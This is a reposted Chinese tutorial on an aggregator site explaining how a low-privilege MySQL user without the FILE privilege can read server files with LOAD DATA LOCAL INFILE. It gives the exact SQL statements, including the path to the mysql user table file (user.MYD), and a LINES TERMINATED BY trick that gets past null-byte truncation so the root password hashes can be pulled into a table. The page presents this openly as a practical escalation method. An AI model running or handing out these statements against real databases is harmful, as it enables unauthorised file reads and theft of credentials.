首页 / MYSQL / Mysql漏洞利用（越权，实战如何从低权限拿到root密码）_MySQL

Mysql漏洞利用（越权，实战如何从低权限拿到root密码）_MySQL

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了Mysql漏洞利用（越权，实战如何从低权限拿到root密码）_MySQL，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含1215字，纯文字阅读大概需要2分钟。

内容图文

众所周知，Mysql的用户在没有File权限情况下是无法通过Load_file读文件或者通过into dumpfile 或者into outfile去写文件，但是偶尔在一个网站上发现个小技巧，也就是通过load data infile可以读取本地文件到数据库，这样子我们就可以在低权限下通过这个bug去读取服务器上的文件。代码如下：

LOAD DATA LOCAL INFILE 'C:/boot.ini' INTO TABLE test FIELDS TERMINATED BY '';后来我就一直想怎么利用这个问题。一个可行的思路如下：

我们去读取mysql的数据库文件，mysql库的user表里存放着所有用户的hash，我们只要读取到这个文件，就差不多读取到了root的密码。

于是本地测试,注意，我当前连接的用户test是没有File权限的：

Mysql漏洞利用（越权，实战如何从低权限拿到root密码）_MySQL - 文章图片

下面我们执行如下语句：

LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user.MYD' INTO TABLE test2 fields terminated by '';

然后select * from test2;

Mysql漏洞利用（越权，实战如何从低权限拿到root密码）_MySQL - 文章图片

发现啥都木有，只有一个烂字符，我们用winhex打开一下user.myd文件
Mysql漏洞利用（越权，实战如何从低权限拿到root密码）_MySQL - 文章图片

OK，找到问题了，被00字符给截断了，导致后面的东西都没进数据库。下面就想办法绕过这个限制。

经过几次尝试发现，在后面加上LINES TERMINATED BY ‘/0′ 即可，这样子就把截断符号作为分隔符处理了，完整的语句：

LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user2.MYD' INTO TABLE test2 fields terminated by '' LINES TERMINATED BY '/0';

效果：
Mysql漏洞利用（越权，实战如何从低权限拿到root密码）_MySQL - 文章图片OK，完成！

内容总结

以上是互联网集市为您收集整理的Mysql漏洞利用（越权，实战如何从低权限拿到root密码）_MySQL全部内容，希望文章能够帮你解决Mysql漏洞利用（越权，实战如何从低权限拿到root密码）_MySQL所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

扫描二维码推送至手机访问。

本文链接：https://qyyshop.com/info/577620.html

来源：【匿名】